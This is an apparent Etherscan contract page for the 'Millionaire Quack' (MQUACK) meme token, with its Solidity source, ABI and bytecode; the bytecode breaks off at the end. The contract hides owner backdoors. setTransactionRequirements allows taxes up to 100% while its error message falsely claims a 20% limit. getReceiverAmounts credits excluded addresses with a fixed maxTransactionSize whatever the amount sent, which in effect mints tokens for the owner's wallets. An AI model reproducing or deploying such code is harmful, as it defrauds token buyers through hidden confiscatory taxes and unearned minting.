ERC-20
Overview
Max Total Supply
1,000,000,000 MQUACK
Holders
68
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MQUACK
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-16 */ // SPDX-License-Identifier: MIT /* A meme token created to make fortune for people whos smarter than the smarties, and tougher than the toughies. Website: https://millionaire-quack.fun Twitter: https://twitter.com/millionaire_erc Telegram: https://t.me/millionaire_erc */ pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Ownable { address internal owner; constructor(address _owner) {owner = _owner;} modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} function isOwner(address account) public view returns (bool) {return account == owner;} function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));} function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);} event OwnershipTransferred(address owner); } interface IUniswapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20Standard { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract MQUACK is IERC20Standard, Ownable { using SafeMath for uint256; string private constant _name = unicode"Millionaire Quack"; string private constant _symbol = unicode"MQUACK"; uint8 private constant _decimals = 9; address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; uint256 private _supply = 1000000000 * (10 ** _decimals); uint256 private swappedTimes; bool private swapping; uint256 swapAfter; IUniswapRouter router; address public pair; bool private tradeEnabled = false; bool private swapEnabled = true; uint256 private swapFeeMaxSize = ( _supply * 1000 ) / 100000; uint256 private swapFeeMinimumAt = ( _supply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} uint256 private liquidityFee = 0; uint256 private mktFee = 0; uint256 private developmentFee = 100; uint256 private burnTokenFees = 0; uint256 private buyTax = 1200; uint256 private sellTax = 2500; uint256 private transferTax = 1200; uint256 private denominator = 10000; address internal devAddress = 0xe418caF74F963FC80637D5fe50585EaE0EaB3084; address internal mktAddress = 0xe418caF74F963FC80637D5fe50585EaE0EaB3084; address internal lpDynamicAddress = 0xe418caF74F963FC80637D5fe50585EaE0EaB3084; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromLimits; uint256 public maxTransactionSize = ( _supply * 200 ) / 10000; uint256 public maxBuyAmount = ( _supply * 200 ) / 10000; uint256 public maxWalletSize = ( _supply * 200 ) / 10000; constructor() Ownable(msg.sender) { IUniswapRouter _router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IUniswapFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; _isExcludedFromLimits[lpDynamicAddress] = true; _isExcludedFromLimits[mktAddress] = true; _isExcludedFromLimits[devAddress] = true; _isExcludedFromLimits[msg.sender] = true; _balances[msg.sender] = _supply; emit Transfer(address(0), msg.sender, _supply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function getOwner() external view override returns (address) { return owner; } function swapBackToken(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(mktFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(mktFee); if(marketingAmt > 0){payable(mktAddress).transfer(marketingAmt);} uint256 contractBalance = address(this).balance; if(contractBalance > uint256(0)){payable(devAddress).transfer(contractBalance);} } function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _devAddresselopment, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner { liquidityFee = _liquidity; mktFee = _marketing; burnTokenFees = _burn; developmentFee = _devAddresselopment; buyTax = _total; sellTax = _sell; transferTax = _trans; require(buyTax <= denominator.div(1) && sellTax <= denominator.div(1) && transferTax <= denominator.div(1), "buyTax and sellTax cannot be more than 20%"); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount <= balanceOf(sender),"You are trying to transfer more than your balance"); if(!_isExcludedFromLimits[sender] && !_isExcludedFromLimits[recipient]){require(tradeEnabled, "tradeEnabled");} if(!_isExcludedFromLimits[sender] && !_isExcludedFromLimits[recipient] && recipient != address(pair) && recipient != address(DEAD)){ require((_balances[recipient].add(amount)) <= maxWalletSize, "Exceeds maximum wallet amount.");} if(sender != pair){require(amount <= maxBuyAmount || _isExcludedFromLimits[sender] || _isExcludedFromLimits[recipient], "TX Limit Exceeded");} require(amount <= maxTransactionSize || _isExcludedFromLimits[sender] || _isExcludedFromLimits[recipient], "TX Limit Exceeded"); if(recipient == pair && !_isExcludedFromLimits[sender]){swappedTimes += uint256(1);} if(shouldTriggerTaxSwap(sender, recipient, amount)){swapBackToken(swapFeeMaxSize); swappedTimes = uint256(0);} _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = !_isExcludedFromLimits[sender] ? getReceiverAmounts(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function shouldTriggerTaxSwap(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= swapFeeMinimumAt; bool aboveThreshold = balanceOf(address(this)) >= swapFeeMaxSize; return !swapping && swapEnabled && tradeEnabled && aboveMin && !_isExcludedFromLimits[sender] && recipient == pair && swappedTimes >= swapAfter && aboveThreshold; } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function totalSupply() public view override returns (uint256) {return _supply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function decimals() public pure returns (uint8) {return _decimals;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getReceiverAmounts(address sender, address recipient, uint256 amount) internal returns (uint256) { if (_isExcludedFromLimits[recipient]) {return maxTransactionSize;} if(getBuySellTransferFees(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getBuySellTransferFees(sender, recipient)); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(burnTokenFees > uint256(0) && getBuySellTransferFees(sender, recipient) > burnTokenFees){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnTokenFees));} return amount.sub(feeAmount);} return amount; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, lpDynamicAddress, block.timestamp); } function getBuySellTransferFees(address sender, address recipient) internal view returns (uint256) { if(recipient == pair){return sellTax;} if(sender == pair){return buyTax;} return transferTax; } function startTrading() external onlyOwner {tradeEnabled = true;} function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner { uint256 newTx = _supply.mul(_buy).div(10000); uint256 newTransfer = _supply.mul(_sell).div(10000); uint256 newWallet = _supply.mul(_wallet).div(10000); maxTransactionSize = newTx; maxBuyAmount = newTransfer; maxWalletSize = newWallet; uint256 limit = totalSupply().mul(5).div(1000); require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%"); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_devAddresselopment","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a620004bf565b6200002290633b9aca00620004d7565b60018190556006805461ffff60a01b1916600160a81b179055620186a0906200004e906103e8620004d7565b6200005a9190620004f1565b600755620186a0600154600a620000729190620004d7565b6200007e9190620004f1565b60085560006009819055600a8190556064600b55600c556104b0600d8190556109c4600e55600f5561271060108190556011805473e418caf74f963fc80637d5fe50585eae0eab30846001600160a01b0319918216811790925560128054821683179055601380549091169091179055600154620000fe9060c8620004d7565b6200010a9190620004f1565b60175561271060015460c8620001219190620004d7565b6200012d9190620004f1565b60185561271060015460c8620001449190620004d7565b620001509190620004f1565b6019553480156200016057600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ee919062000514565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000262919062000514565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d6919062000514565b600580546001600160a01b038581166001600160a01b03199283161790925560068054848416921691909117905560135481166000908152601660209081526040808320805460ff19908116600190811790925560125486168552828520805482168317905560115490951684528184208054861682179055338085528285208054909616821790955554601483528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200053f565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000401578160001904821115620003e557620003e5620003aa565b80851615620003f357918102915b93841c9390800290620003c5565b509250929050565b6000826200041a57506001620004b9565b816200042957506000620004b9565b81600181146200044257600281146200044d576200046d565b6001915050620004b9565b60ff841115620004615762000461620003aa565b50506001821b620004b9565b5060208310610133831016604e8410600b841016171562000492575081810a620004b9565b6200049e8383620003c0565b8060001904821115620004b557620004b5620003aa565b0290505b92915050565b6000620004d060ff84168362000409565b9392505050565b8082028115828204841417620004b957620004b9620003aa565b6000826200050f57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200052757600080fd5b81516001600160a01b0381168114620004d057600080fd5b611884806200054f6000396000f3fe6080604052600436106101235760003560e01c806388e765ff116100a0578063a8aa1b3111610064578063a8aa1b311461035e578063a9059cbb1461037e578063cb7f97d71461039e578063dd62ed3e146103be578063f2fde38b1461040457600080fd5b806388e765ff146102b1578063893d20e8146102c75780638f3fa860146102f957806395d89b411461030f5780639cc353511461033e57600080fd5b8063293230b8116100e7578063293230b8146102045780632f54bf6e1461021b578063313ce5671461024a57806370a0823114610266578063715018a61461029c57600080fd5b806306fdde031461012f578063095ea7b31461017b57806318160ddd146101ab57806323b872dd146101ce57806328b13b61146101ee57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260118152704d696c6c696f6e6169726520517561636b60781b60208201525b604051610172919061151e565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611584565b610424565b6040519015158152602001610172565b3480156101b757600080fd5b506101c061043b565b604051908152602001610172565b3480156101da57600080fd5b5061019b6101e93660046115b0565b6104ac565b3480156101fa57600080fd5b506101c060175481565b34801561021057600080fd5b50610219610516565b005b34801561022757600080fd5b5061019b6102363660046115f1565b6000546001600160a01b0391821691161490565b34801561025657600080fd5b5060405160098152602001610172565b34801561027257600080fd5b506101c06102813660046115f1565b6001600160a01b031660009081526014602052604090205490565b3480156102a857600080fd5b5061021961055e565b3480156102bd57600080fd5b506101c060185481565b3480156102d357600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610172565b34801561030557600080fd5b506101c060195481565b34801561031b57600080fd5b506040805180820190915260068152654d515541434b60d01b6020820152610165565b34801561034a57600080fd5b5061021961035936600461160e565b6105cd565b34801561036a57600080fd5b506006546102e1906001600160a01b031681565b34801561038a57600080fd5b5061019b610399366004611584565b61070e565b3480156103aa57600080fd5b506102196103b936600461163a565b61071b565b3480156103ca57600080fd5b506101c06103d9366004611686565b6001600160a01b03918216600090815260156020908152604080832093909416825291909152205490565b34801561041057600080fd5b5061021961041f3660046115f1565b610810565b600061043133848461088e565b5060015b92915050565b60146020527f4f26c3876aa9f4b92579780beea1161a61f87ebf1ec6ee865b299e447ecba99c5461dead60009081527f8b9e18c5e04efe171d1e4f682ad90d753958a5ffe56db5290b0236c8e0b6db005460015491926104a79290916104a191906109b2565b906109b2565b905090565b60006104b98484846109be565b61050b843361050685604051806060016040528060288152602001611827602891396001600160a01b038a1660009081526015602090815260408083203384529091529020549190610f0e565b61088e565b5060015b9392505050565b6000546001600160a01b031633146105495760405162461bcd60e51b8152600401610540906116bf565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105885760405162461bcd60e51b8152600401610540906116bf565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146105f75760405162461bcd60e51b8152600401610540906116bf565b600061061a61271061061486600154610f3a90919063ffffffff16565b90610f46565b9050600061063961271061061486600154610f3a90919063ffffffff16565b9050600061065861271061061486600154610f3a90919063ffffffff16565b601784905560188390556019819055905060006106846103e8610614600561067e61043b565b90610f3a565b90508084101580156106965750808310155b80156106a25750808210155b6107055760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610540565b50505050505050565b60006104313384846109be565b6000546001600160a01b031633146107455760405162461bcd60e51b8152600401610540906116bf565b6009879055600a869055600c859055600b849055600d839055600e829055600f819055601054610776906001610f46565b600d54111580156107965750601054610790906001610f46565b600e5411155b80156107b157506010546107ab906001610f46565b600f5411155b6107055760405162461bcd60e51b815260206004820152602a60248201527f62757954617820616e642073656c6c5461782063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b6064820152608401610540565b6000546001600160a01b0316331461083a5760405162461bcd60e51b8152600401610540906116bf565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108f05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610540565b6001600160a01b0382166109515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610540565b6001600160a01b0383811660008181526015602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050f82846116f5565b6001600160a01b038316610a225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610540565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610540565b6001600160a01b038316600090815260146020526040902054811115610b065760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610540565b6001600160a01b03831660009081526016602052604090205460ff16158015610b4857506001600160a01b03821660009081526016602052604090205460ff16155b15610b9557600654600160a01b900460ff16610b955760405162461bcd60e51b815260206004820152600c60248201526b1d1c985919515b98589b195960a21b6044820152606401610540565b6001600160a01b03831660009081526016602052604090205460ff16158015610bd757506001600160a01b03821660009081526016602052604090205460ff16155b8015610bf157506006546001600160a01b03838116911614155b8015610c0857506001600160a01b03821661dead14155b15610c81576019546001600160a01b038316600090815260146020526040902054610c339083610f52565b1115610c815760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610540565b6006546001600160a01b03848116911614610d225760185481111580610cbf57506001600160a01b03831660009081526016602052604090205460ff165b80610ce257506001600160a01b03821660009081526016602052604090205460ff165b610d225760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610540565b60175481111580610d4b57506001600160a01b03831660009081526016602052604090205460ff165b80610d6e57506001600160a01b03821660009081526016602052604090205460ff165b610dae5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610540565b6006546001600160a01b038381169116148015610de457506001600160a01b03831660009081526016602052604090205460ff16155b15610e0257600160026000828254610dfc9190611708565b90915550505b610e0d838383610f5e565b15610e2357610e1d600754611018565b60006002555b6001600160a01b038316600090815260146020526040902054610e4690826109b2565b6001600160a01b038416600090815260146020908152604080832093909355601690529081205460ff1615610e7b5781610e86565b610e86848484611195565b6001600160a01b038416600090815260146020526040902054909150610eac9082610f52565b6001600160a01b0380851660008181526014602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f009085815260200190565b60405180910390a350505050565b60008184841115610f325760405162461bcd60e51b8152600401610540919061151e565b505050900390565b600061050f828461171b565b600061050f8284611732565b600061050f8284611708565b6008546007543060009081526014602052604081205460035491938510159211159060ff16158015610f995750600654600160a81b900460ff165b8015610fae5750600654600160a01b900460ff165b8015610fb75750815b8015610fdc57506001600160a01b03861660009081526016602052604090205460ff16155b8015610ff557506006546001600160a01b038681169116145b8015611005575060045460025410155b801561100e5750805b9695505050505050565b6003805460ff19166001908117909155600b54600a546009546000936110529360029361067e93919261104c928391610f52565b90610f52565b9050600061106f8261061460095486610f3a90919063ffffffff16565b9050600061107d84836109b2565b905047611089826112c5565b600061109547836109b2565b905060006110b86110b1600954886109b290919063ffffffff16565b8390610f46565b905060006110d160095483610f3a90919063ffffffff16565b905080156110e3576110e3868261141f565b600a546000906110f89061067e856002610f3a565b9050801561113c576012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561113a573d6000803e3d6000fd5b505b47801561117f576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561117d573d6000803e3d6000fd5b505b50506003805460ff191690555050505050505050565b6001600160a01b03821660009081526016602052604081205460ff16156111bf575060175461050f565b60006111cb85856114d3565b11156112be5760006111ee6111e086866114d3565b60105461067e908690610f46565b3060009081526014602052604090205490915061120b9082610f52565b30600081815260146020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061125c9085815260200190565b60405180910390a36000600c541180156112805750600c5461127e86866114d3565b115b156112ac576112ac3061dead6112a7600c5461067e60105489610f4690919063ffffffff16565b6109be565b6112b683826109b2565b91505061050f565b5092915050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106112fa576112fa611754565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611353573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611377919061176a565b8160018151811061138a5761138a611754565b6001600160a01b0392831660209182029290920101526005546113b0913091168461088e565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e9908590600090869030904290600401611787565b600060405180830381600087803b15801561140357600080fd5b505af1158015611417573d6000803e3d6000fd5b505050505050565b6005546114379030906001600160a01b03168461088e565b60055460135460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156114a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114cc91906117f8565b5050505050565b6006546000906001600160a01b03908116908316036114f55750600e54610435565b6006546001600160a01b03908116908416036115145750600d54610435565b50600f5492915050565b600060208083528351808285015260005b8181101561154b5785810183015185820160400152820161152f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461158157600080fd5b50565b6000806040838503121561159757600080fd5b82356115a28161156c565b946020939093013593505050565b6000806000606084860312156115c557600080fd5b83356115d08161156c565b925060208401356115e08161156c565b929592945050506040919091013590565b60006020828403121561160357600080fd5b813561050f8161156c565b60008060006060848603121561162357600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561165557600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b6000806040838503121561169957600080fd5b82356116a48161156c565b915060208301356116b48161156c565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610435576104356116df565b80820180821115610435576104356116df565b8082028115828204841417610435576104356116df565b60008261174f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561177c57600080fd5b815161050f8161156c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117d75784516001600160a01b0316835293830193918301916001016117b2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561180d57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d12526514286fd5e59fb321fa1b9c5936acc30ddc2493cdc742deb0bae4656fd64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101235760003560e01c806388e765ff116100a0578063a8aa1b3111610064578063a8aa1b311461035e578063a9059cbb1461037e578063cb7f97d71461039e578063dd62ed3e146103be578063f2fde38b1461040457600080fd5b806388e765ff146102b1578063893d20e8146102c75780638f3fa860146102f957806395d89b411461030f5780639cc353511461033e57600080fd5b8063293230b8116100e7578063293230b8146102045780632f54bf6e1461021b578063313ce5671461024a57806370a0823114610266578063715018a61461029c57600080fd5b806306fdde031461012f578063095ea7b31461017b57806318160ddd146101ab57806323b872dd146101ce57806328b13b61146101ee57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260118152704d696c6c696f6e6169726520517561636b60781b60208201525b604051610172919061151e565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611584565b610424565b6040519015158152602001610172565b3480156101b757600080fd5b506101c061043b565b604051908152602001610172565b3480156101da57600080fd5b5061019b6101e93660046115b0565b6104ac565b3480156101fa57600080fd5b506101c060175481565b34801561021057600080fd5b50610219610516565b005b34801561022757600080fd5b5061019b6102363660046115f1565b6000546001600160a01b0391821691161490565b34801561025657600080fd5b5060405160098152602001610172565b34801561027257600080fd5b506101c06102813660046115f1565b6001600160a01b031660009081526014602052604090205490565b3480156102a857600080fd5b5061021961055e565b3480156102bd57600080fd5b506101c060185481565b3480156102d357600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610172565b34801561030557600080fd5b506101c060195481565b34801561031b57600080fd5b506040805180820190915260068152654d515541434b60d01b6020820152610165565b34801561034a57600080fd5b5061021961035936600461160e565b6105cd565b34801561036a57600080fd5b506006546102e1906001600160a01b031681565b34801561038a57600080fd5b5061019b610399366004611584565b61070e565b3480156103aa57600080fd5b506102196103b936600461163a565b61071b565b3480156103ca57600080fd5b506101c06103d9366004611686565b6001600160a01b03918216600090815260156020908152604080832093909416825291909152205490565b34801561041057600080fd5b5061021961041f3660046115f1565b610810565b600061043133848461088e565b5060015b92915050565b60146020527f4f26c3876aa9f4b92579780beea1161a61f87ebf1ec6ee865b299e447ecba99c5461dead60009081527f8b9e18c5e04efe171d1e4f682ad90d753958a5ffe56db5290b0236c8e0b6db005460015491926104a79290916104a191906109b2565b906109b2565b905090565b60006104b98484846109be565b61050b84336105068560405